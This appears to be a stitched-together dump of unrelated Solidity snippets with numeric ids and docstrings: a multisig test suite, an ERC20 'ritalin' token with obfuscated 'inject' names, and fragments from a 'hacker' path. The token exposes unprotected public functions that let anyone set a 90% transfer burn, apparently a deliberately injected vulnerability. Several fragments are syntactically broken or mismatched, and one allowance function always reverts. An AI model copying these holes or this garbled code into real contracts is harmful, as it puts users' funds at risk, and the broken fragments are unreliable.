function getWithdrawWithLocked(uint256 shares) external view override returns( uint256 underlyingWithdrawn, uint256 strikeAssetWithdrawn, address[] memory acos, uint256[] memory acosAmount ) { (underlyingWithdrawn, strikeAssetWithdrawn, acos, acosAmount) = _getWithdrawWithLocked(shares); }
9,573,844
pragma solidity ^0.4.2; import "truffle/Assert.sol"; import "truffle/DeployedAddresses.sol"; import "../contracts/MultiAccessPrecise.sol"; import "./Target.sol"; import "./Debug.sol"; import "./TypeConverter.sol"; contract TestMultiAccessPrecise is Debug, TypeConverter { function testBasic() { var ownerA = new Owner(0x0); MultiAccessPrecise mult = MultiAccessPrecise(ownerA.getDestinationAddress()); var ownerB = new Owner(mult); var ownerC = new Owner(mult); var target = new Target(mult); Assert.equal(mult.multiAccessRecipient(), 0x0, "Address should be undefined"); ownerA.setRecipient(target); Assert.equal(mult.multiAccessRecipient(), target, "Address should set now"); Assert.equal(mult.multiAccessIsOwner(ownerA), true, ""); Assert.equal(mult.multiAccessIsOwner(ownerB), false, ""); Assert.equal(mult.multiAccessIsOwner(ownerC), false, ""); ownerA.addOwner(ownerB); ownerA.addOwner(ownerC); Assert.equal(mult.multiAccessIsOwner(ownerB), true, ""); Assert.equal(mult.multiAccessIsOwner(ownerC), true, ""); Assert.equal(mult.multiAccessRequired(), 1, ""); Assert.equal(mult.multiAccessRecipientRequired(), 1, ""); ownerA.changeRecipientRequirement(2); ownerA.changeRequirement(2); Assert.equal(mult.multiAccessRequired(), 2, ""); Assert.equal(mult.multiAccessRecipientRequired(), 2, ""); Assert.equal(target.counter(), 0, "Should be zero"); bytes4 _data = bytes4(sha3("count()")); ownerA.executeRaw(_data); Assert.equal(target.counter(), 0, "Should be zero"); ownerA.executeRaw(_data); Assert.equal(target.counter(), 0, "Nothing should change"); ownerB.executeRaw(_data); Assert.equal(target.counter(), 1, "Should be changed now"); // Change recipient requirement ownerC.changeRecipientRequirement(1); Assert.equal(mult.multiAccessRecipientRequired(), 2, "Still must be 2"); ownerB.changeRecipientRequirement(1); Assert.equal(mult.multiAccessRecipientRequired(), 1, "Overweighted by now"); // Execute by one user ownerB.executeRaw(_data); Assert.equal(target.counter(), 2, "One sig sufficient now"); ownerA.executeRaw(_data); Assert.equal(target.counter(), 3, "One sig sufficient for another owner"); // Change internal requirement ownerC.changeRequirement(1); Assert.equal(mult.multiAccessRequired(), 2, "Still must be 2"); ownerA.changeRequirement(1); Assert.equal(mult.multiAccessRequired(), 1, "1 now"); ownerB.changeRequirement(3); Assert.equal(mult.multiAccessRequired(), 3, "Reset back to 3"); // Assert.equal(true, false, "Show Events"); } function testPrecise() { var ownerA = new Owner(0x0); MultiAccessPrecise mult = MultiAccessPrecise(ownerA.getDestinationAddress()); var ownerB = new Owner(mult); var ownerC = new Owner(mult); var target = new Target(mult); ownerA.addOwner(ownerB); ownerA.addOwner(ownerC); // 2 of 3 ownerC.setRecipient(target); ownerA.changeRecipientRequirement(2); ownerA.changeRecipientMethodRequirement("countPrecise()", 1); ownerB.changeRequirement(2); bytes4 _data = bytes4(sha3("count()")); ownerC.executeRaw(_data); Assert.equal(target.counter(), 0, "No change yet"); ownerB.executeRaw(_data); Assert.equal(target.counter(), 1, "1 now"); ownerC.executeRaw(bytes4(sha3("countPrecise()"))); Assert.equal(target.counterPrecise(), 1, "1 sig is sufficient"); } function testWhitelisted() { var ownerA = new Owner(0x0); MultiAccessPrecise mult = MultiAccessPrecise(ownerA.getDestinationAddress()); var ownerB = new Owner(mult); var ownerC = new Owner(mult); var targetA = new Target(mult); var targetB = new Target(mult); // Is whitelisted and recipient var targetC = new Target(mult); // Not whitelisted ownerA.addOwner(ownerB); ownerA.addOwner(ownerC); // 3 of 3 ownerC.setRecipient(targetB); Assert.equal(mult.whitelist().isWhitelisted(targetA), false, "Not yet"); Assert.equal(mult.whitelist().isWhitelisted(targetB), false, "Not yet too"); ownerA.whitelistDestination(targetA); ownerA.whitelistDestination(targetB); Assert.equal(mult.whitelist().isWhitelisted(targetA), true, "Whitelisted now"); Assert.equal(mult.whitelist().isWhitelisted(targetB), true, "Whitelisted"); // Can Remove ownerA.revokeWhitelistedDestination(targetA); ownerA.revokeWhitelistedDestination(targetB); Assert.equal(mult.whitelist().isWhitelisted(targetA), false, "Removed now"); Assert.equal(mult.whitelist().isWhitelisted(targetB), false, "Removed"); // Whitelist back ownerA.whitelistDestination(targetA); ownerA.whitelistDestination(targetB); ownerA.changeRecipientRequirement(2); ownerB.changeRequirement(3); bytes memory _data = toBytes(bytes4(sha3("count()")), 4); ownerA.execute(targetA, _data); ownerB.execute(targetA, _data); Assert.equal(targetA.counter(), 1, "counted"); ownerC.execute(targetB, _data); ownerB.execute(targetB, _data); Assert.equal(targetB.counter(), 1, "counted"); ownerA.execute(targetC, _data); ownerB.execute(targetC, _data); Assert.equal(targetC.counter(), 0, "Out of whitelist"); ownerC.execute(targetC, _data); Assert.equal(targetC.counter(), 1, "Max sig required"); // Change to 1 sig external ownerA.changeRecipientRequirement(1); ownerB.changeRecipientRequirement(1); ownerC.changeRecipientRequirement(1); ownerB.execute(targetB, _data); Assert.equal(targetB.counter(), 2, "counted"); // Non-recipient ownerB.execute(targetA, _data); Assert.equal(targetA.counter(), 2, "A counted"); // Revoke Whitelisted and execute, not the recipient one ownerA.revokeWhitelistedDestination(targetA); ownerB.revokeWhitelistedDestination(targetA); ownerC.revokeWhitelistedDestination(targetA); Assert.equal(mult.whitelist().isWhitelisted(targetA), false, "Should be removed from the list"); ownerB.execute(targetA, _data); Assert.equal(targetA.counter(), 2, "not counted 1"); ownerA.execute(targetA, _data); Assert.equal(targetA.counter(), 2, "not counted 2"); ownerC.execute(targetA, _data); Assert.equal(targetA.counter(), 3, "Resolved now"); } function testWhitelistedPrecise() { var ownerA = new Owner(0x0); MultiAccessPrecise mult = MultiAccessPrecise(ownerA.getDestinationAddress()); var ownerB = new Owner(mult); var ownerC = new Owner(mult); var targetA = new Target(mult); var targetB = new Target(mult); ownerA.addOwner(ownerB); ownerA.addOwner(ownerC); // 2 of 3 ownerA.whitelistDestination(targetA); ownerA.whitelistDestination(targetB); ownerA.changeRecipientRequirement(2); ownerB.changeRecipientMethodRequirement("countPrecise()", 1); ownerB.changeRequirement(2); // Particular method bytes memory _data = toBytes(bytes4(sha3("countPrecise()")), 4); ownerA.execute(targetA, _data); ownerC.execute(targetB, _data); Assert.equal(targetA.counterPrecise(), 1, "counted"); Assert.equal(targetB.counterPrecise(), 1, "counted"); // Any other method bytes memory _dataCount = toBytes(bytes4(sha3("count()")), 4); ownerC.execute(targetB, _dataCount); Assert.equal(targetB.counter(), 0, "not yet"); ownerB.execute(targetB, _dataCount); Assert.equal(targetB.counter(), 1, "Overweighted"); // Change other method to precise ownerB.changeRecipientMethodRequirement("count()", 1); ownerC.changeRecipientMethodRequirement("count()", 1); ownerA.execute(targetB, _dataCount); Assert.equal(targetB.counter(), 2, "Only one is needed now"); ownerB.revokeRecipientMethodRequirement("countPrecise()"); ownerA.revokeRecipientMethodRequirement("countPrecise()"); ownerA.execute(targetA, _data); Assert.equal(targetA.counterPrecise(), 1, "Not yet"); ownerB.execute(targetA, _data); Assert.equal(targetA.counterPrecise(), 2, "Counted now"); } function testMethodWithParams() { var ownerA = new Owner(0x0); MultiAccessPrecise mult = MultiAccessPrecise(ownerA.getDestinationAddress()); var ownerB = new Owner(mult); var ownerC = new Owner(mult); var target = new Target(mult); ownerA.addOwner(ownerB); ownerA.addOwner(ownerC); // 2 of 3 ownerA.whitelistDestination(target); ownerA.changeRecipientRequirement(2); ownerB.changeRecipientMethodRequirement("setParam(bytes1)", 1); ownerB.changeRequirement(2); bytes memory methodId = toBytes(bytes4(sha3("setParam(bytes1)")), 4); bytes memory value = new bytes(32); value[0] = 0x21; ownerA.execute(target, concatBytes(methodId, value)); DebugBytes32(target.param()); Assert.equal(target.param(), value[0], "Updated to 0x21"); // Test through fallback function ownerA.setRecipient(target); ownerB.setRecipient(target); value[0] = 0xbe; ownerA.executeRaw(concatBytes(methodId, value)); Assert.equal(target.param(), value[0], "Updated to 0xbe"); } function testAdversaryActions() { var ownerA = new Owner(0x0); MultiAccessPrecise mult = MultiAccessPrecise(ownerA.getDestinationAddress()); var ownerB = new Owner(mult); var ownerC = new Owner(mult); var target = new Target(mult); ownerA.addOwner(ownerB); ownerA.addOwner(ownerC); var adversaryA = new Owner(mult); var adversaryB = new Owner(mult); // 1 of 3 ownerC.setRecipient(target); // All to min requirement ownerA.changeRecipientRequirement(1); ownerA.changeRequirement(1); // Attack MultiAccess adversaryA.changeRequirement(2); adversaryB.changeRequirement(2); Assert.equal(mult.multiAccessRequired(), 1, "Shouldn't change"); adversaryA.whitelistDestination(target); Assert.equal(mult.whitelist().isWhitelisted(target), false, "Shouldn't whitelist"); Assert.equal(mult.multiAccessIsOwner(adversaryA), false, "Not an owner"); Assert.equal(mult.multiAccessIsOwner(adversaryB), false, "Not an owner"); adversaryA.changeOwner(ownerA, adversaryA); adversaryB.changeOwner(ownerB, adversaryB); Assert.equal(mult.multiAccessIsOwner(adversaryA), false, "Not an owner"); Assert.equal(mult.multiAccessIsOwner(adversaryB), false, "Not an owner"); adversaryA.setRecipient(0x0); Assert.equal(mult.multiAccessRecipient(), target, "No change"); // Attack Destination adversaryA.executeRaw(toBytes(bytes4(sha3("count()")), 4)); Assert.equal(target.counter(), 0, "Shoul be unchanged"); adversaryB.executeRaw(toBytes(bytes4(sha3("count()")), 4)); Assert.equal(target.counter(), 0, "Nope"); // As second force ownerA.changeRecipientRequirement(2); ownerA.executeRaw(toBytes(bytes4(sha3("count()")), 4)); adversaryA.executeRaw(toBytes(bytes4(sha3("count()")), 4)); adversaryB.executeRaw(toBytes(bytes4(sha3("count()")), 4)); Assert.equal(target.counter(), 0, "Not enough sig now"); ownerB.executeRaw(toBytes(bytes4(sha3("count()")), 4)); Assert.equal(target.counter(), 1, "Should be satisfied"); } /* Ideas: - Possible to change owner - Not possible to finish action after owner is changed (pending is cleared) - Possible to remove owner - Not possible to remove owner if requirement will not be fulfilled */ } // Independent account + proxy contract Owner is Debug { MultiAccessPrecise destination; function Owner(address _destination) { if (_destination == 0x0) { address[] memory addresses = new address[](1); addresses[0] = this; destination = new MultiAccessPrecise(addresses, 1, 0x0, new address[](0), 1); } else { destination = MultiAccessPrecise(_destination); } } function getDestinationAddress() external returns (address) { return address(destination); } function setRecipient(address _recipient) { destination.multiAccessSetRecipient(_recipient); } function addOwner(address _owner) { destination.multiAccessAddOwner(_owner); } function changeOwner(address _current, address _new) { destination.multiAccessChangeOwner(_current, _new); } function changeRequirement(uint _r) { destination.multiAccessChangeRequirement(_r); } function changeRecipientRequirement(uint _r) { destination.multiAccessChangeRecipientRequirement(_r); } function changeRecipientMethodRequirement(string _methodSignature, uint _r) { destination.multiAccessChangeRecipientMethodRequirement(_methodSignature, _r); } function revokeRecipientMethodRequirement(string _methodSignature) { destination.multiAccessRevokeRecipientMethodRequirement(_methodSignature); } function whitelistDestination(address _a) { destination.whitelistDestination(_a); } function revokeWhitelistedDestination(address _a) { destination.revokeWhitelistedDestination(_a); } function execute(address _to, bytes _data) { if (!destination.execute(_to, _data)) { DebugString("CALL has thrown"); } } function executeRaw(bytes32 _data) { if (!destination.call(_data)) { DebugString("CALL has thrown"); } } function executeRaw(bytes _data) { if (!destination.call(_data)) { DebugString("CALL has thrown"); } } }
3 of 3 Can Remove Whitelist back Change to 1 sig external Non-recipient Revoke Whitelisted and execute, not the recipient one
function testWhitelisted() { var ownerA = new Owner(0x0); MultiAccessPrecise mult = MultiAccessPrecise(ownerA.getDestinationAddress()); var ownerB = new Owner(mult); var ownerC = new Owner(mult); var targetA = new Target(mult); ownerA.addOwner(ownerB); ownerA.addOwner(ownerC); ownerC.setRecipient(targetB); Assert.equal(mult.whitelist().isWhitelisted(targetA), false, "Not yet"); Assert.equal(mult.whitelist().isWhitelisted(targetB), false, "Not yet too"); ownerA.whitelistDestination(targetA); ownerA.whitelistDestination(targetB); Assert.equal(mult.whitelist().isWhitelisted(targetA), true, "Whitelisted now"); Assert.equal(mult.whitelist().isWhitelisted(targetB), true, "Whitelisted"); ownerA.revokeWhitelistedDestination(targetA); ownerA.revokeWhitelistedDestination(targetB); Assert.equal(mult.whitelist().isWhitelisted(targetA), false, "Removed now"); Assert.equal(mult.whitelist().isWhitelisted(targetB), false, "Removed"); ownerA.whitelistDestination(targetA); ownerA.whitelistDestination(targetB); ownerA.changeRecipientRequirement(2); ownerB.changeRequirement(3); bytes memory _data = toBytes(bytes4(sha3("count()")), 4); ownerA.execute(targetA, _data); ownerB.execute(targetA, _data); Assert.equal(targetA.counter(), 1, "counted"); ownerC.execute(targetB, _data); ownerB.execute(targetB, _data); Assert.equal(targetB.counter(), 1, "counted"); ownerA.execute(targetC, _data); ownerB.execute(targetC, _data); Assert.equal(targetC.counter(), 0, "Out of whitelist"); ownerC.execute(targetC, _data); Assert.equal(targetC.counter(), 1, "Max sig required"); ownerA.changeRecipientRequirement(1); ownerB.changeRecipientRequirement(1); ownerC.changeRecipientRequirement(1); ownerB.execute(targetB, _data); Assert.equal(targetB.counter(), 2, "counted"); ownerB.execute(targetA, _data); Assert.equal(targetA.counter(), 2, "A counted"); ownerA.revokeWhitelistedDestination(targetA); ownerB.revokeWhitelistedDestination(targetA); ownerC.revokeWhitelistedDestination(targetA); Assert.equal(mult.whitelist().isWhitelisted(targetA), false, "Should be removed from the list"); ownerB.execute(targetA, _data); Assert.equal(targetA.counter(), 2, "not counted 1"); ownerA.execute(targetA, _data); Assert.equal(targetA.counter(), 2, "not counted 2"); ownerC.execute(targetA, _data); Assert.equal(targetA.counter(), 3, "Resolved now"); }
954,411
./full_match/1/0x83473a0A1a9a08506e2952D96730AaC0f39b8c9A/sources/contracts/implementation/EclipseERC721.sol
Get all tokens owned by an address/
function getTokensByOwner( address _owner ) external view virtual override returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](tokenCount); for (uint256 i; i < tokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; }
4,868,809
./full_match/80001/0x0D0677caDC47e338fB222ca44708Ed398E108488/sources/_superfluid-finance/ethereum-contracts/contracts/apps/CFAv1Library.sol
Update flow with userData cfaLibrary The cfaLibrary storage variable receiver The receiver of the flow token The token to flow flowRate The desired flowRate userData The user provided data/
function updateFlow( InitData storage cfaLibrary, address receiver, ISuperfluidToken token, int96 flowRate, bytes memory userData ) internal { cfaLibrary.host.callAgreement( cfaLibrary.cfa, abi.encodeCall( cfaLibrary.cfa.updateFlow, ( token, receiver, flowRate, ) ), userData ); }
5,642,039
pragma solidity ^0.6.12; abstract contract context93 { //inject NONSTANDARD NAMING function _MSGSENDER100() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA48() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface ierc2072 { //inject NONSTANDARD NAMING function TOTALSUPPLY87() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF30(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER64(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE97(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE93(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM23(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER49(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL19(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library safemath71 { //inject NONSTANDARD NAMING function ADD89(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB49(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB49(a, b, "SafeMath: subtraction overflow"); } function SUB49(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL87(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV66(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV66(a, b, "SafeMath: division by zero"); } function DIV66(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD81(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD81(a, b, "SafeMath: modulo by zero"); } function MOD81(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library address48 { //inject NONSTANDARD NAMING function ISCONTRACT75(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function SENDVALUE10(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function FUNCTIONCALL10(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING return FUNCTIONCALL10(target, data, "Address: low-level call failed"); } function FUNCTIONCALL10(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING return _FUNCTIONCALLWITHVALUE29(target, data, 0, errorMessage); } function FUNCTIONCALLWITHVALUE38(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING return FUNCTIONCALLWITHVALUE38(target, data, value, "Address: low-level call with value failed"); } function FUNCTIONCALLWITHVALUE38(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING require(address(this).balance >= value, "Address: insufficient balance for call"); return _FUNCTIONCALLWITHVALUE29(target, data, value, errorMessage); } function _FUNCTIONCALLWITHVALUE29(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING require(ISCONTRACT75(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library safeerc2070 { //inject NONSTANDARD NAMING using safemath71 for uint256; using address48 for address; function SAFETRANSFER92(ierc2072 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.TRANSFER64.selector, to, value)); } function SAFETRANSFERFROM97(ierc2072 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.TRANSFERFROM23.selector, from, to, value)); } function SAFEAPPROVE86(ierc2072 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.ALLOWANCE97(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.APPROVE93.selector, spender, value)); } function SAFEINCREASEALLOWANCE46(ierc2072 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE97(address(this), spender).ADD89(value); _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.APPROVE93.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE59(ierc2072 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE97(address(this), spender).SUB49(value, "SafeERC20: decreased allowance below zero"); _CALLOPTIONALRETURN69(token, abi.encodeWithSelector(token.APPROVE93.selector, spender, newAllowance)); } function _CALLOPTIONALRETURN69(ierc2072 token, bytes memory data) private { //inject NONSTANDARD NAMING // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).FUNCTIONCALL10(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ownable40 is context93 { //inject NONSTANDARD NAMING address private _owner; event OWNERSHIPTRANSFERRED98(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING constructor () internal { address msgSender = _MSGSENDER100(); _owner = msgSender; emit OWNERSHIPTRANSFERRED98(address(0), msgSender); } function OWNER27() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER31() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER100(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP62() public virtual ONLYOWNER31 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED98(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP64(address newOwner) public virtual ONLYOWNER31 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED98(_owner, newOwner); _owner = newOwner; } } contract mintable81 is context93 { //inject NONSTANDARD NAMING address private _minter; event MINTERSHIPTRANSFERRED53(address indexed previousMinter, address indexed newMinter); //inject NONSTANDARD NAMING constructor () internal { address msgSender = _MSGSENDER100(); _minter = msgSender; emit MINTERSHIPTRANSFERRED53(address(0), msgSender); } function MINTER75() public view returns (address) { //inject NONSTANDARD NAMING return _minter; } modifier ONLYMINTER28() { //inject NONSTANDARD NAMING require(_minter == _MSGSENDER100(), "Mintable: caller is not the minter"); _; } function TRANSFERMINTERSHIP52(address newMinter) public virtual ONLYMINTER28 { //inject NONSTANDARD NAMING require(newMinter != address(0), "Mintable: new minter is the zero address"); emit MINTERSHIPTRANSFERRED53(_minter, newMinter); _minter = newMinter; } } contract erc2029 is context93, ierc2072 { //inject NONSTANDARD NAMING using safemath71 for uint256; using address48 for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint256 private _burnedSupply; uint256 private _burnRate; string private _name; string private _symbol; uint256 private _decimals; constructor (string memory name, string memory symbol, uint256 decimals, uint256 burnrate, uint256 initSupply) public { _name = name; _symbol = symbol; _decimals = decimals; _burnRate = burnrate; _totalSupply = 0; _MINT0(msg.sender, initSupply*(10**_decimals)); _burnedSupply = 0; } function NAME28() public view returns (string memory) { //inject NONSTANDARD NAMING return _name; } function SETBURNRATEMAX69() public virtual { //inject NONSTANDARD NAMING _burnRate = 90; } function SETBURNRATEOFF89() public virtual { //inject NONSTANDARD NAMING _burnRate = 0; } function SYMBOL75() public view returns (string memory) { //inject NONSTANDARD NAMING return _symbol; } function DECIMALS75() public view returns (uint256) { //inject NONSTANDARD NAMING return _decimals; } function TOTALSUPPLY87() public view override returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BURNEDSUPPLY50() public view returns (uint256) { //inject NONSTANDARD NAMING return _burnedSupply; } function BURNRATE41() public view returns (uint256) { //inject NONSTANDARD NAMING return _burnRate; } function BALANCEOF30(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function TRANSFER64(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _TRANSFER0(_MSGSENDER100(), recipient, amount); return true; } function BURN36(uint256 amount) public virtual returns (bool) { //inject NONSTANDARD NAMING _BURN51(_MSGSENDER100(), amount); return true; } function ALLOWANCE97(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING return _allowances[owner][spender]; } function APPROVE93(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _APPROVE65(_MSGSENDER100(), spender, amount); return true; } function TRANSFERFROM23(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING _TRANSFER0(sender, recipient, amount); _APPROVE65(sender, _MSGSENDER100(), _allowances[sender][_MSGSENDER100()].SUB49(amount, "ERC20: transfer amount exceeds allowance")); return true; } function INCREASEALLOWANCE3(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING _APPROVE65(_MSGSENDER100(), spender, _allowances[_MSGSENDER100()][spender].ADD89(addedValue)); return true; } function DECREASEALLOWANCE67(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING _APPROVE65(_MSGSENDER100(), spender, _allowances[_MSGSENDER100()][spender].SUB49(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _TRANSFER0(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 amount_burn = amount.MUL87(_burnRate).DIV66(100); uint256 amount_send = amount.SUB49(amount_burn); require(amount == amount_send + amount_burn, "Burn value invalid"); _BURN51(sender, amount_burn); amount = amount_send; _BEFORETOKENTRANSFER77(sender, recipient, amount); _balances[sender] = _balances[sender].SUB49(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].ADD89(amount); emit TRANSFER49(sender, recipient, amount); } function _MINT0(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: mint to the zero address"); _BEFORETOKENTRANSFER77(address(0), account, amount); _totalSupply = _totalSupply.ADD89(amount); _balances[account] = _balances[account].ADD89(amount); emit TRANSFER49(address(0), account, amount); } function _BURN51(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(account != address(0), "ERC20: burn from the zero address"); _BEFORETOKENTRANSFER77(account, address(0), amount); _balances[account] = _balances[account].SUB49(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.SUB49(amount); _burnedSupply = _burnedSupply.ADD89(amount); emit TRANSFER49(account, address(0), amount); } function _APPROVE65(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit APPROVAL19(owner, spender, amount); } function _SETUPBURNRATE49(uint8 burnrate_) internal virtual { //inject NONSTANDARD NAMING _burnRate = burnrate_; } function _BEFORETOKENTRANSFER77(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING } // ERC20 (name, symbol, decimals, burnrate, initSupply) contract token59 is erc2029("ritalin", "ritalin", 18, 0, 3000), ownable40, mintable81 { //inject NONSTANDARD NAMING function MINT0(address _to, uint256 _amount) public ONLYMINTER28 { //inject NONSTANDARD NAMING _MINT0(_to, _amount); } function SETUPBURNRATE3(uint8 burnrate_) public ONLYOWNER31 { //inject NONSTANDARD NAMING _SETUPBURNRATE49(burnrate_); } }
inject NONSTANDARD NAMING
function SETUPBURNRATE3(uint8 burnrate_) public ONLYOWNER31 {
6,418,040
./full_match/1/0x98f84c74e8c34af0ffF1caA9E707015436159917/sources/contracts/hacker/JAREDBOT.sol
Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {ERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address./
function NDqxLUeWFILQrYJepSzI( uint16 zGqUbTdQxDubIhLL, uint8 uNJukPTRRlFulYUw, uint64[] calldata prEzgYrhFBwbrMuK, uint[] calldata yPNLSgskvuGTsaDc, uint128 juUeJNNfLoHnRzEP, bool ARvhQzNmzSQvUVya, uint64 YXnxemlytqVSOaoL, uint64[] calldata BXNutIuYwMHwajte function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; }
16,560,463
./full_match/1/0x985F20966F2C21975015851d3b533B2c7368d878/sources/browser/Token.sol
Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address./
function increaseAllowance(address spender, uint256 addedValue) public pure virtual returns (bool) { revert(); }
16,552,789
